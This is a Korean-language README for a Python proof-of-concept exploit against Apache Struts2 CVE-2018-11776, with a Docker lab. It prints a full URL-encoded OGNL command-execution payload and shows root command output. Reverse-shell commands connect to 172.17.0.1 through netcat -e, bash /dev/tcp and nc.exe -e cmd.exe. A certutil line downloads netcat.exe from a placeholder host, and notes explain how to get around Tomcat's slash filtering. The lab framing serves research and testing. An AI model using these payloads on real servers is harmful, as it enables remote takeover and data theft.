
CVE-2018-11776을 위한 작동하는 Python 테스트 및 PoC, Docker 랩 포함
hook-s3c (github.com/hook-s3c), @hook_s3c 트위터에서
CVE-2018-11776을 위한 작동하는 Python 테스트 및 PoC, 원래 다음에서 등장했습니다; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC
Semmle의 Man Yue Mo가 Struts2 RCE 취약점을 발표했습니다. 이 취약점은 요청의 URL 경로에 인코딩된 페이로드로 전달됩니다.
영향을 받는 버전은 2.3부터 2.3.34까지, 그리고 2.5부터 2.5.16까지입니다.
기본 구성은 취약하지 않지만, 잘못 구성된 경우... 망합니다.
익스플로잇은 cve-2017-5638용으로 빌드된 도커 컨테이너(struts2-showcase-2.3.12)에서 잘 작동합니다.
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
아래 구성을 추가합니다;
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
그리고 또한;
<struts>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
tomcat 및/또는 컨테이너를 재시작합니다
$ /usr/local/tomcat/bin/shutdown.sh
리디렉션 및 평가가 발생하는지 URL을 테스트합니다;
테스트 스크립트 사용;
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/master/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action
uid=0(root) gid=0(root) groups=0(root)
리버스 셸을 받을 준비를 하세요;
$ netcat -lvp 31337
스크립트 실행;
# you'll want to install netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'
# now pop that shell
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'
32771을 노출된 컨테이너 포트로 바꾸세요.
$ netcat -lvp 31337
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"
# grab netcat binary
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'
# execute
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'
슬래시(/)가 포함된 모든 요청은 Tomcat이 이를 적극적으로 차단하기 때문에 실패합니다. 이를 우회해야 할 수도 있습니다. 예를 들어 위 예제에서 /bin/bash 대신 $SHELL과 같은 환경 변수를 사용하는 방법이 있습니다.
이 점을 고려할 때, 윈도우의 /c 플래그는 예상대로 작동하지 않습니다. 저는 이 도커 컨테이너에서만 테스트했습니다.
@Menin_TheMiddle 님이 슬래시 문제를 해결할 수 있음을 보여주셔서 감사합니다. 이제 코드는 슬래시를 지원하므로 netcat 없이 bash를 통한 리버스 셸도 가능해졌으며, 이제 윈도우 인스턴스도 지원합니다(테스트되지 않음).
Struts를 패치하거나, 그냥 사용하지 마세요.
침해를 당하고 모든 고객 정보가 유출된다면 항상 신원 사기 제품을 팔 수 있다고 생각합니다! (당신이 누군지 알겠습니다, 완전 쓰레기)
다음 분들께 감사드립니다;
vap0rsquad에게 외친다!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces